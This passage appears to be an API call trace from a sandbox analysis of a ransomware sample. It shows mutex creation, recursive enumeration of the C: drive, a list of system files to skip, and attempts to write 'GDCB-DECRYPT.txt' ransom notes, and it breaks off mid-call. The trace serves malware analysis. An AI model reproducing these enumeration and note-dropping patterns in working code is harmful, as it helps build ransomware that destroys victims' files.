id = 220 os_tid = 0x77c [0157.919] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="firefox browser") returned 0x2bc [0157.919] GetLastError () returned 0xb7 [0157.919] GetLastError () returned 0xb7 [0157.919] RtlExitUserThread (Status=0x0) Thread: id = 221 os_tid = 0x868 [0157.919] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="firefox browser") returned 0x2c0 [0157.919] GetLastError () returned 0xb7 [0157.919] GetLastError () returned 0xb7 [0157.919] RtlExitUserThread (Status=0x0) Thread: id = 222 os_tid = 0x7fc [0157.920] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="firefox browser") returned 0x2c4 [0157.920] GetLastError () returned 0xb7 [0157.920] GetLastError () returned 0xb7 [0157.920] RtlExitUserThread (Status=0x0) Thread: id = 223 os_tid = 0x87c Thread: id = 224 os_tid = 0x7ec Thread: id = 225 os_tid = 0x4b8 Thread: id = 232 os_tid = 0xbd8 [0169.419] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x8a0000 [0169.419] wsprintfW (in: param_1=0x8a0000, param_2="%c:\\" | out: param_1="C:\\") returned 3 [0169.419] VirtualAlloc (lpAddress=0x0, dwSize=0x9c40, flAllocationType=0x3000, flProtect=0x4) returned 0x8b0000 [0169.419] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.419] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0169.420] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0169.420] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0169.420] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0169.421] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.421] lstrlenW (lpString="C:\\") returned 3 [0169.421] lstrcatW (in: lpString1="C:\\", lpString2="*" | out: lpString1="C:\\*") returned="C:\\*" [0169.421] FindFirstFileW (in: lpFileName="C:\\*", lpFindFileData=0x285fa50 | out: lpFindFileData=0x285fa50) returned 0x5a49d8 [0169.421] lstrcmpW (lpString1="$Recycle.Bin", lpString2=".") returned -1 [0169.421] lstrcmpW (lpString1="$Recycle.Bin", lpString2="..") returned -1 [0169.421] lstrcatW (in: lpString1="C:\\", lpString2="$Recycle.Bin" | out: lpString1="C:\\$Recycle.Bin") returned="C:\\$Recycle.Bin" [0169.421] lstrlenW (lpString="C:\\$Recycle.Bin") returned 15 [0169.421] lstrcmpW (lpString1=".Bin", lpString2=".sql") returned -1 [0169.421] FindNextFileW (in: hFindFile=0x5a49d8, lpFindFileData=0x285fa50 | out: lpFindFileData=0x285fa50) returned 1 [0169.421] lstrcmpW (lpString1="Boot", lpString2=".") returned 1 [0169.421] lstrcmpW (lpString1="Boot", lpString2="..") returned 1 [0169.421] lstrcatW (in: lpString1="C:\\", lpString2="Boot" | out: lpString1="C:\\Boot") returned="C:\\Boot" [0169.421] lstrlenW (lpString="C:\\Boot") returned 7 [0169.421] FindNextFileW (in: hFindFile=0x5a49d8, lpFindFileData=0x285fa50 | out: lpFindFileData=0x285fa50) returned 1 [0169.421] lstrcmpW (lpString1="bootmgr", lpString2=".") returned 1 [0169.421] lstrcmpW (lpString1="bootmgr", lpString2="..") returned 1 [0169.421] lstrcatW (in: lpString1="C:\\", lpString2="bootmgr" | out: lpString1="C:\\bootmgr") returned="C:\\bootmgr" [0169.421] lstrlenW (lpString="C:\\bootmgr") returned 10 [0169.421] FindNextFileW (in: hFindFile=0x5a49d8, lpFindFileData=0x285fa50 | out: lpFindFileData=0x285fa50) returned 1 [0169.421] lstrcmpW (lpString1="BOOTNXT", lpString2=".") returned 1 [0169.421] lstrcmpW (lpString1="BOOTNXT", lpString2="..") returned 1 [0169.421] lstrcatW (in: lpString1="C:\\", lpString2="BOOTNXT" | out: lpString1="C:\\BOOTNXT") returned="C:\\BOOTNXT" [0169.421] lstrlenW (lpString="C:\\BOOTNXT") returned 10 [0169.421] FindNextFileW (in: hFindFile=0x5a49d8, lpFindFileData=0x285fa50 | out: lpFindFileData=0x285fa50) returned 1 [0169.421] lstrcmpW (lpString1="BOOTSECT.BAK", lpString2=".") returned 1 [0169.421] lstrcmpW (lpString1="BOOTSECT.BAK", lpString2="..") returned 1 [0169.421] lstrcatW (in: lpString1="C:\\", lpString2="BOOTSECT.BAK" | out: lpString1="C:\\BOOTSECT.BAK") returned="C:\\BOOTSECT.BAK" [0169.421] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15 [0169.421] lstrcmpW (lpString1=".BAK", lpString2=".sql") returned -1 [0169.421] FindNextFileW (in: hFindFile=0x5a49d8, lpFindFileData=0x285fa50 | out: lpFindFileData=0x285fa50) returned 1 [0169.421] lstrcmpW (lpString1="Documents and Settings", lpString2=".") returned 1 [0169.421] lstrcmpW (lpString1="Documents and Settings", lpString2="..") returned 1 [0169.421] lstrcatW (in: lpString1="C:\\", lpString2="Documents and Settings" | out: lpString1="C:\\Documents and Settings") returned="C:\\Documents and Settings" [0169.421] lstrlenW (lpString="C:\\Documents and Settings") returned 25 [0169.421] FindNextFileW (in: hFindFile=0x5a49d8, lpFindFileData=0x285fa50 | out: lpFindFileData=0x285fa50) returned 1 [0169.421] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0169.421] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0169.421] lstrcatW (in: lpString1="C:\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\GDCB-DECRYPT.txt") returned="C:\\GDCB-DECRYPT.txt" [0169.421] lstrlenW (lpString="C:\\GDCB-DECRYPT.txt") returned 19 [0169.421] lstrcmpW (lpString1=".txt", lpString2=".sql") returned 1 [0169.421] FindNextFileW (in: hFindFile=0x5a49d8, lpFindFileData=0x285fa50 | out: lpFindFileData=0x285fa50) returned 1 [0169.422] lstrcmpW (lpString1="hiberfil.sys", lpString2=".") returned 1 [0169.422] lstrcmpW (lpString1="hiberfil.sys", lpString2="..") returned 1 [0169.422] lstrcatW (in: lpString1="C:\\", lpString2="hiberfil.sys" | out: lpString1="C:\\hiberfil.sys") returned="C:\\hiberfil.sys" [0169.422] lstrlenW (lpString="C:\\hiberfil.sys") returned 15 [0169.422] lstrcmpW (lpString1=".sys", lpString2=".sql") returned 1 [0169.422] FindNextFileW (in: hFindFile=0x5a49d8, lpFindFileData=0x285fa50 | out: lpFindFileData=0x285fa50) returned 1 [0169.422] lstrcmpW (lpString1="pagefile.sys", lpString2=".") returned 1 [0169.422] lstrcmpW (lpString1="pagefile.sys", lpString2="..") returned 1 [0169.422] lstrcatW (in: lpString1="C:\\", lpString2="pagefile.sys" | out: lpString1="C:\\pagefile.sys") returned="C:\\pagefile.sys" [0169.422] lstrlenW (lpString="C:\\pagefile.sys") returned 15 [0169.422] lstrcmpW (lpString1=".sys", lpString2=".sql") returned 1 [0169.422] FindNextFileW (in: hFindFile=0x5a49d8, lpFindFileData=0x285fa50 | out: lpFindFileData=0x285fa50) returned 1 [0169.422] lstrcmpW (lpString1="PerfLogs", lpString2=".") returned 1 [0169.422] lstrcmpW (lpString1="PerfLogs", lpString2="..") returned 1 [0169.422] lstrcatW (in: lpString1="C:\\", lpString2="PerfLogs" | out: lpString1="C:\\PerfLogs") returned="C:\\PerfLogs" [0169.422] lstrlenW (lpString="C:\\PerfLogs") returned 11 [0169.422] FindNextFileW (in: hFindFile=0x5a49d8, lpFindFileData=0x285fa50 | out: lpFindFileData=0x285fa50) returned 1 [0169.422] lstrcmpW (lpString1="Program Files", lpString2=".") returned 1 [0169.422] lstrcmpW (lpString1="Program Files", lpString2="..") returned 1 [0169.422] lstrcatW (in: lpString1="C:\\", lpString2="Program Files" | out: lpString1="C:\\Program Files") returned="C:\\Program Files" [0169.422] lstrlenW (lpString="C:\\Program Files") returned 16 [0169.422] FindNextFileW (in: hFindFile=0x5a49d8, lpFindFileData=0x285fa50 | out: lpFindFileData=0x285fa50) returned 1 [0169.422] lstrcmpW (lpString1="Program Files (x86)", lpString2=".") returned 1 [0169.422] lstrcmpW (lpString1="Program Files (x86)", lpString2="..") returned 1 [0169.422] lstrcatW (in: lpString1="C:\\", lpString2="Program Files (x86)" | out: lpString1="C:\\Program Files (x86)") returned="C:\\Program Files (x86)" [0169.422] lstrlenW (lpString="C:\\Program Files (x86)") returned 22 [0169.422] FindNextFileW (in: hFindFile=0x5a49d8, lpFindFileData=0x285fa50 | out: lpFindFileData=0x285fa50) returned 1 [0169.422] lstrcmpW (lpString1="ProgramData", lpString2=".") returned 1 [0169.422] lstrcmpW (lpString1="ProgramData", lpString2="..") returned 1 [0169.422] lstrcatW (in: lpString1="C:\\", lpString2="ProgramData" | out: lpString1="C:\\ProgramData") returned="C:\\ProgramData" [0169.422] lstrlenW (lpString="C:\\ProgramData") returned 14 [0169.422] FindNextFileW (in: hFindFile=0x5a49d8, lpFindFileData=0x285fa50 | out: lpFindFileData=0x285fa50) returned 1 [0169.422] lstrcmpW (lpString1="Recovery", lpString2=".") returned 1 [0169.422] lstrcmpW (lpString1="Recovery", lpString2="..") returned 1 [0169.422] lstrcatW (in: lpString1="C:\\", lpString2="Recovery" | out: lpString1="C:\\Recovery") returned="C:\\Recovery" [0169.422] lstrlenW (lpString="C:\\Recovery") returned 11 [0169.422] FindNextFileW (in: hFindFile=0x5a49d8, lpFindFileData=0x285fa50 | out: lpFindFileData=0x285fa50) returned 1 [0169.422] lstrcmpW (lpString1="swapfile.sys", lpString2=".") returned 1 [0169.422] lstrcmpW (lpString1="swapfile.sys", lpString2="..") returned 1 [0169.422] lstrcatW (in: lpString1="C:\\", lpString2="swapfile.sys" | out: lpString1="C:\\swapfile.sys") returned="C:\\swapfile.sys" [0169.422] lstrlenW (lpString="C:\\swapfile.sys") returned 15 [0169.422] lstrcmpW (lpString1=".sys", lpString2=".sql") returned 1 [0169.422] FindNextFileW (in: hFindFile=0x5a49d8, lpFindFileData=0x285fa50 | out: lpFindFileData=0x285fa50) returned 1 [0169.422] lstrcmpW (lpString1="System Volume Information", lpString2=".") returned 1 [0169.422] lstrcmpW (lpString1="System Volume Information", lpString2="..") returned 1 [0169.422] lstrcatW (in: lpString1="C:\\", lpString2="System Volume Information" | out: lpString1="C:\\System Volume Information") returned="C:\\System Volume Information" [0169.422] lstrlenW (lpString="C:\\System Volume Information") returned 28 [0169.422] FindNextFileW (in: hFindFile=0x5a49d8, lpFindFileData=0x285fa50 | out: lpFindFileData=0x285fa50) returned 1 [0169.422] lstrcmpW (lpString1="Users", lpString2=".") returned 1 [0169.422] lstrcmpW (lpString1="Users", lpString2="..") returned 1 [0169.422] lstrcatW (in: lpString1="C:\\", lpString2="Users" | out: lpString1="C:\\Users") returned="C:\\Users" [0169.422] lstrlenW (lpString="C:\\Users") returned 8 [0169.422] FindNextFileW (in: hFindFile=0x5a49d8, lpFindFileData=0x285fa50 | out: lpFindFileData=0x285fa50) returned 1 [0169.422] lstrcmpW (lpString1="Windows", lpString2=".") returned 1 [0169.422] lstrcmpW (lpString1="Windows", lpString2="..") returned 1 [0169.422] lstrcatW (in: lpString1="C:\\", lpString2="Windows" | out: lpString1="C:\\Windows") returned="C:\\Windows" [0169.422] lstrlenW (lpString="C:\\Windows") returned 10 [0169.422] FindNextFileW (in: hFindFile=0x5a49d8, lpFindFileData=0x285fa50 | out: lpFindFileData=0x285fa50) returned 0 [0169.423] FindClose (in: hFindFile=0x5a49d8 | out: hFindFile=0x5a49d8) returned 1 [0169.423] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.423] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\\\GDCB-DECRYPT.txt") returned 20 [0169.423] CreateFileW (lpFileName="C:\\\\GDCB-DECRYPT.txt" (normalized: "c:\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0169.423] GetLastError () returned 0x50 [0169.423] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.423] lstrlenW (lpString="C:\\") returned 3 [0169.423] lstrcatW (in: lpString1="C:\\", lpString2="*" | out: lpString1="C:\\*") returned="C:\\*" [0169.423] FindFirstFileW (in: lpFileName="C:\\*", lpFindFileData=0x285fcc0 | out: lpFindFileData=0x285fcc0) returned 0x5a4cd8 [0169.423] lstrcmpW (lpString1="$Recycle.Bin", lpString2=".") returned -1 [0169.423] lstrcmpW (lpString1="$Recycle.Bin", lpString2="..") returned -1 [0169.423] lstrcatW (in: lpString1="C:\\", lpString2="$Recycle.Bin" | out: lpString1="C:\\$Recycle.Bin") returned="C:\\$Recycle.Bin" [0169.423] lstrcatW (in: lpString1="C:\\$Recycle.Bin", lpString2="\\" | out: lpString1="C:\\$Recycle.Bin\\") returned="C:\\$Recycle.Bin\\" [0169.423] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.424] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0169.424] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0169.424] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0169.424] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0169.424] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.424] lstrlenW (lpString="C:\\$Recycle.Bin\\") returned 16 [0169.424] lstrcatW (in: lpString1="C:\\$Recycle.Bin\\", lpString2="*" | out: lpString1="C:\\$Recycle.Bin\\*") returned="C:\\$Recycle.Bin\\*" [0169.424] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\*", lpFindFileData=0x285f7c8 | out: lpFindFileData=0x285f7c8) returned 0x5a4b18 [0169.424] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0169.424] FindNextFileW (in: hFindFile=0x5a4b18, lpFindFileData=0x285f7c8 | out: lpFindFileData=0x285f7c8) returned 1 [0169.424] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0169.424] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0169.424] FindNextFileW (in: hFindFile=0x5a4b18, lpFindFileData=0x285f7c8 | out: lpFindFileData=0x285f7c8) returned 1 [0169.424] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0169.424] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0169.424] lstrcatW (in: lpString1="C:\\$Recycle.Bin\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\$Recycle.Bin\\GDCB-DECRYPT.txt") returned="C:\\$Recycle.Bin\\GDCB-DECRYPT.txt" [0169.424] lstrlenW (lpString="C:\\$Recycle.Bin\\GDCB-DECRYPT.txt") returned 32 [0169.424] lstrcmpW (lpString1=".txt", lpString2=".sql") returned 1 [0169.424] FindNextFileW (in: hFindFile=0x5a4b18, lpFindFileData=0x285f7c8 | out: lpFindFileData=0x285f7c8) returned 1 [0169.424] lstrcmpW (lpString1="S-1-5-18", lpString2=".") returned 1 [0169.424] lstrcmpW (lpString1="S-1-5-18", lpString2="..") returned 1 [0169.424] lstrcatW (in: lpString1="C:\\$Recycle.Bin\\", lpString2="S-1-5-18" | out: lpString1="C:\\$Recycle.Bin\\S-1-5-18") returned="C:\\$Recycle.Bin\\S-1-5-18" [0169.424] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-18") returned 24 [0169.424] lstrcmpW (lpString1=".Bin\\S-1-5-18", lpString2=".sql") returned -1 [0169.424] FindNextFileW (in: hFindFile=0x5a4b18, lpFindFileData=0x285f7c8 | out: lpFindFileData=0x285f7c8) returned 1 [0169.424] lstrcmpW (lpString1="S-1-5-21-1462094071-1423818996-289466292-1000", lpString2=".") returned 1 [0169.424] lstrcmpW (lpString1="S-1-5-21-1462094071-1423818996-289466292-1000", lpString2="..") returned 1 [0169.424] lstrcatW (in: lpString1="C:\\$Recycle.Bin\\", lpString2="S-1-5-21-1462094071-1423818996-289466292-1000" | out: lpString1="C:\\$Recycle.Bin\\S-1-5-21-1462094071-1423818996-289466292-1000") returned="C:\\$Recycle.Bin\\S-1-5-21-1462094071-1423818996-289466292-1000" [0169.424] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1462094071-1423818996-289466292-1000") returned 61 [0169.424] lstrcmpW (lpString1=".Bin\\S-1-5-21-1462094071-1423818996-289466292-1000", lpString2=".sql") returned -1 [0169.424] FindNextFileW (in: hFindFile=0x5a4b18, lpFindFileData=0x285f7c8 | out: lpFindFileData=0x285f7c8) returned 0 [0169.424] FindClose (in: hFindFile=0x5a4b18 | out: hFindFile=0x5a4b18) returned 1 [0169.424] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.425] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\$Recycle.Bin\\\\GDCB-DECRYPT.txt") returned 33 [0169.425] CreateFileW (lpFileName="C:\\$Recycle.Bin\\\\GDCB-DECRYPT.txt" (normalized: "c:\\$recycle.bin\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0169.425] GetLastError () returned 0x50 [0169.425] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.425] lstrlenW (lpString="C:\\$Recycle.Bin\\") returned 16 [0169.425] lstrcatW (in: lpString1="C:\\$Recycle.Bin\\", lpString2="*" | out: lpString1="C:\\$Recycle.Bin\\*") returned="C:\\$Recycle.Bin\\*" [0169.425] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\*", lpFindFileData=0x285fa38 | out: lpFindFileData=0x285fa38) returned 0x5a4b18 [0169.425] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0169.425] FindNextFileW (in: hFindFile=0x5a4b18, lpFindFileData=0x285fa38 | out: lpFindFileData=0x285fa38) returned 1 [0169.425] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0169.425] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0169.425] FindNextFileW (in: hFindFile=0x5a4b18, lpFindFileData=0x285fa38 | out: lpFindFileData=0x285fa38) returned 1 [0169.425] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0169.425] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0169.425] lstrcatW (in: lpString1="C:\\$Recycle.Bin\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\$Recycle.Bin\\GDCB-DECRYPT.txt") returned="C:\\$Recycle.Bin\\GDCB-DECRYPT.txt" [0169.425] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.425] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\$Recycle.Bin\\GDCB-DECRYPT.txt") returned 32 [0169.425] lstrlenW (lpString="C:\\$Recycle.Bin\\GDCB-DECRYPT.txt") returned 32 [0169.425] lstrlenW (lpString="C:\\$Recycle.Bin\\GDCB-DECRYPT.txt") returned 32 [0169.425] lstrlenW (lpString="C:\\$Recycle.Bin\\GDCB-DECRYPT.txt") returned 32 [0169.425] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0169.425] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0169.425] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0169.425] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0169.425] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0169.426] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0169.426] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0169.426] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0169.426] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0169.426] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.426] FindNextFileW (in: hFindFile=0x5a4b18, lpFindFileData=0x285fa38 | out: lpFindFileData=0x285fa38) returned 1 [0169.426] lstrcmpW (lpString1="S-1-5-18", lpString2=".") returned 1 [0169.426] lstrcmpW (lpString1="S-1-5-18", lpString2="..") returned 1 [0169.426] lstrcatW (in: lpString1="C:\\$Recycle.Bin\\", lpString2="S-1-5-18" | out: lpString1="C:\\$Recycle.Bin\\S-1-5-18") returned="C:\\$Recycle.Bin\\S-1-5-18" [0169.426] lstrcatW (in: lpString1="C:\\$Recycle.Bin\\S-1-5-18", lpString2="\\" | out: lpString1="C:\\$Recycle.Bin\\S-1-5-18\\") returned="C:\\$Recycle.Bin\\S-1-5-18\\" [0169.426] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.426] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0169.426] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0169.426] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0169.426] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0169.426] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.426] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-18\\") returned 25 [0169.426] lstrcatW (in: lpString1="C:\\$Recycle.Bin\\S-1-5-18\\", lpString2="*" | out: lpString1="C:\\$Recycle.Bin\\S-1-5-18\\*") returned="C:\\$Recycle.Bin\\S-1-5-18\\*" [0169.426] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\S-1-5-18\\*", lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 0x5a4dd8 [0169.427] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0169.427] FindNextFileW (in: hFindFile=0x5a4dd8, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0169.427] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0169.427] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0169.427] FindNextFileW (in: hFindFile=0x5a4dd8, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0169.427] lstrcmpW (lpString1="desktop.ini", lpString2=".") returned 1 [0169.427] lstrcmpW (lpString1="desktop.ini", lpString2="..") returned 1 [0169.427] lstrcatW (in: lpString1="C:\\$Recycle.Bin\\S-1-5-18\\", lpString2="desktop.ini" | out: lpString1="C:\\$Recycle.Bin\\S-1-5-18\\desktop.ini") returned="C:\\$Recycle.Bin\\S-1-5-18\\desktop.ini" [0169.427] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-18\\desktop.ini") returned 36 [0169.427] lstrcmpW (lpString1=".ini", lpString2=".sql") returned -1 [0169.427] FindNextFileW (in: hFindFile=0x5a4dd8, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0169.427] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0169.427] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0169.427] lstrcatW (in: lpString1="C:\\$Recycle.Bin\\S-1-5-18\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\$Recycle.Bin\\S-1-5-18\\GDCB-DECRYPT.txt") returned="C:\\$Recycle.Bin\\S-1-5-18\\GDCB-DECRYPT.txt" [0169.427] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-18\\GDCB-DECRYPT.txt") returned 41 [0169.427] lstrcmpW (lpString1=".txt", lpString2=".sql") returned 1 [0169.427] FindNextFileW (in: hFindFile=0x5a4dd8, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 0 [0169.427] FindClose (in: hFindFile=0x5a4dd8 | out: hFindFile=0x5a4dd8) returned 1 [0169.427] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.427] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\$Recycle.Bin\\S-1-5-18\\\\GDCB-DECRYPT.txt") returned 42 [0169.427] CreateFileW (lpFileName="C:\\$Recycle.Bin\\S-1-5-18\\\\GDCB-DECRYPT.txt" (normalized: "c:\\$recycle.bin\\s-1-5-18\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0169.428] GetLastError () returned 0x50 [0169.428] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.429] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-18\\") returned 25 [0169.429] lstrcatW (in: lpString1="C:\\$Recycle.Bin\\S-1-5-18\\", lpString2="*" | out: lpString1="C:\\$Recycle.Bin\\S-1-5-18\\*") returned="C:\\$Recycle.Bin\\S-1-5-18\\*" [0169.429] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\S-1-5-18\\*", lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 0x5a4b58 [0169.429] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0169.429] FindNextFileW (in: hFindFile=0x5a4b58, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0169.429] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0169.429] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0169.429] FindNextFileW (in: hFindFile=0x5a4b58, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0169.429] lstrcmpW (lpString1="desktop.ini", lpString2=".") returned 1 [0169.429] lstrcmpW (lpString1="desktop.ini", lpString2="..") returned 1 [0169.429] lstrcatW (in: lpString1="C:\\$Recycle.Bin\\S-1-5-18\\", lpString2="desktop.ini" | out: lpString1="C:\\$Recycle.Bin\\S-1-5-18\\desktop.ini") returned="C:\\$Recycle.Bin\\S-1-5-18\\desktop.ini" [0169.429] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.429] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\$Recycle.Bin\\S-1-5-18\\desktop.ini") returned 36 [0169.429] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-18\\desktop.ini") returned 36 [0169.429] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-18\\desktop.ini") returned 36 [0169.429] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-18\\desktop.ini") returned 36 [0169.429] lstrcmpiW (lpString1="desktop.ini", lpString2="desktop.ini") returned 0 [0169.429] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.429] FindNextFileW (in: hFindFile=0x5a4b58, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0169.429] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0169.429] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0169.429] lstrcatW (in: lpString1="C:\\$Recycle.Bin\\S-1-5-18\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\$Recycle.Bin\\S-1-5-18\\GDCB-DECRYPT.txt") returned="C:\\$Recycle.Bin\\S-1-5-18\\GDCB-DECRYPT.txt" [0169.429] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.429] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: 